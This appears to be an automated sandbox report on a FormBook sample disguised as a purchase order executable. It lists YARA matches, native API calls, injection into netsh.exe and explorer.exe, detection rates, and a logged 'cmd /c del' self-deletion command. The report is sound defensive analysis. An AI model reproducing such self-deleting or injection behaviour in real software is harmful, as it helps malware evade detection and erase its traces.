Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css

Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244063778.0000000001318000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: NEW ORDER SOR 10531220.exe

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00419D60 NtCreateFile,	3_2_00419D60
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00419E10 NtReadFile,	3_2_00419E10
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00419E90 NtClose,	3_2_00419E90
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00419F40 NtAllocateVirtualMemory,	3_2_00419F40
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00419D5A NtCreateFile,	3_2_00419D5A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89840 NtDelayExecution,LdrInitializeThunk,	15_2_00D89840
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89860 NtQuerySystemInformation,LdrInitializeThunk,	15_2_00D89860
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D895D0 NtClose,LdrInitializeThunk,	15_2_00D895D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D899A0 NtCreateSection,LdrInitializeThunk,	15_2_00D899A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89540 NtReadFile,LdrInitializeThunk,	15_2_00D89540
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89910 NtAdjustPrivilegesToken,LdrInitializeThunk,	15_2_00D89910
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D896D0 NtCreateKey,LdrInitializeThunk,	15_2_00D896D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D896E0 NtFreeVirtualMemory,LdrInitializeThunk,	15_2_00D896E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89A50 NtCreateFile,LdrInitializeThunk,	15_2_00D89A50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89FE0 NtCreateMutant,LdrInitializeThunk,	15_2_00D89FE0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89780 NtMapViewOfSection,LdrInitializeThunk,	15_2_00D89780
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89710 NtQueryInformationToken,LdrInitializeThunk,	15_2_00D89710
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D898F0 NtReadVirtualMemory,	15_2_00D898F0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D898A0 NtWriteVirtualMemory,	15_2_00D898A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D8B040 NtSuspendThread,	15_2_00D8B040
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89820 NtEnumerateKey,	15_2_00D89820
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D899D0 NtCreateProcessEx,	15_2_00D899D0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D895F0 NtQueryInformationFile,	15_2_00D895F0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89950 NtQueueApcThread,	15_2_00D89950
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89560 NtWriteFile,	15_2_00D89560
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D8AD30 NtSetContextThread,	15_2_00D8AD30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89520 NtWaitForSingleObject,	15_2_00D89520
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89A80 NtOpenDirectoryObject,	15_2_00D89A80
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89650 NtQueryValueKey,	15_2_00D89650
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89670 NtQueryInformationProcess,	15_2_00D89670
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89660 NtAllocateVirtualMemory,	15_2_00D89660
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89610 NtEnumerateValueKey,	15_2_00D89610
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89A10 NtQuerySection,	15_2_00D89A10
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89A00 NtProtectVirtualMemory,	15_2_00D89A00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89A20 NtResumeThread,	15_2_00D89A20
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D8A3B0 NtGetContextThread,	15_2_00D8A3B0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D897A0 NtUnmapViewOfSection,	15_2_00D897A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89770 NtSetInformationFile,	15_2_00D89770
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D8A770 NtOpenThread,	15_2_00D8A770
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89760 NtOpenProcess,	15_2_00D89760
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D8A710 NtOpenProcessToken,	15_2_00D8A710
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89B00 NtSetValueKey,	15_2_00D89B00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D89730 NtQueryVirtualMemory,	15_2_00D89730
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00189D60 NtCreateFile,	15_2_00189D60
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00189E10 NtReadFile,	15_2_00189E10
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00189E90 NtClose,	15_2_00189E90
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00189D5A NtCreateFile,	15_2_00189D5A

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 0_2_0130C2B0	0_2_0130C2B0
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 0_2_01309990	0_2_01309990
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 0_2_0130FCB0	0_2_0130FCB0
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 0_2_0130FCC0	0_2_0130FCC0
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041E853	3_2_0041E853
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041D07C	3_2_0041D07C
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041E00E	3_2_0041E00E
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00401030	3_2_00401030
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_0041EA8B	3_2_0041EA8B
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00402D87	3_2_00402D87
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00402D90	3_2_00402D90
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00409E40	3_2_00409E40
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00409E3C	3_2_00409E3C
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 3_2_00402FB0	3_2_00402FB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5B090	15_2_00D5B090
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E120A8	15_2_00E120A8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D720A0	15_2_00D720A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5841F	15_2_00D5841F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01002	15_2_00E01002
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5D5E0	15_2_00D5D5E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72581	15_2_00D72581
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E11D55	15_2_00E11D55
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4F900	15_2_00D4F900
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E12D07	15_2_00E12D07
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D40D20	15_2_00D40D20
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D64120	15_2_00D64120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E12EF7	15_2_00E12EF7
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E122AE	15_2_00E122AE
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D66E30	15_2_00D66E30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E11FF1	15_2_00E11FF1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0DBD2	15_2_00E0DBD2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7EBB0	15_2_00D7EBB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E12B28	15_2_00E12B28
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018E00E	15_2_0018E00E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_0018D07C	15_2_0018D07C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00172D90	15_2_00172D90
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00172D87	15_2_00172D87
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00179E3C	15_2_00179E3C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00179E40	15_2_00179E40
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00172FB0	15_2_00172FB0

Source: C:\Windows\SysWOW64\netsh.exe

Code function: String function: 00D4B150 appears 35 times

Source: NEW ORDER SOR 10531220.exe, 00000000.00000000.233223977.0000000000B56000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameValueTuple.exe8 vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244063778.0000000001318000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.248937726.00000000062F0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll@ vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244487250.0000000002EE1000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSimpleUI.dll( vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe, 00000002.00000000.240632368.00000000000F6000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameValueTuple.exe8 vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe, 00000003.00000002.306240737.000000000136F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe, 00000003.00000002.305760685.00000000006B6000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameValueTuple.exe8 vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe, 00000003.00000002.310682715.0000000002E6C000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamenetsh.exej% vs NEW ORDER SOR 10531220.exe
Source: NEW ORDER SOR 10531220.exe	Binary or memory string: OriginalFilenameValueTuple.exe8 vs NEW ORDER SOR 10531220.exe

Source: NEW ORDER SOR 10531220.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: NEW ORDER SOR 10531220.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@9/1@3/2

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NEW ORDER SOR 10531220.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5808:120:WilError_01

Source: NEW ORDER SOR 10531220.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: NEW ORDER SOR 10531220.exe	Virustotal: Detection: 60%
Source: NEW ORDER SOR 10531220.exe	Metadefender: Detection: 20%
Source: NEW ORDER SOR 10531220.exe	ReversingLabs: Detection: 51%

Source: NEW ORDER SOR 10531220.exe

String found in binary or memory: &Report-HelpToolStripMenuItem1

Source: unknown	Process created: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe 'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe'
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process created: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process created: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process created: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process created: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe'	Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: NEW ORDER SOR 10531220.exe

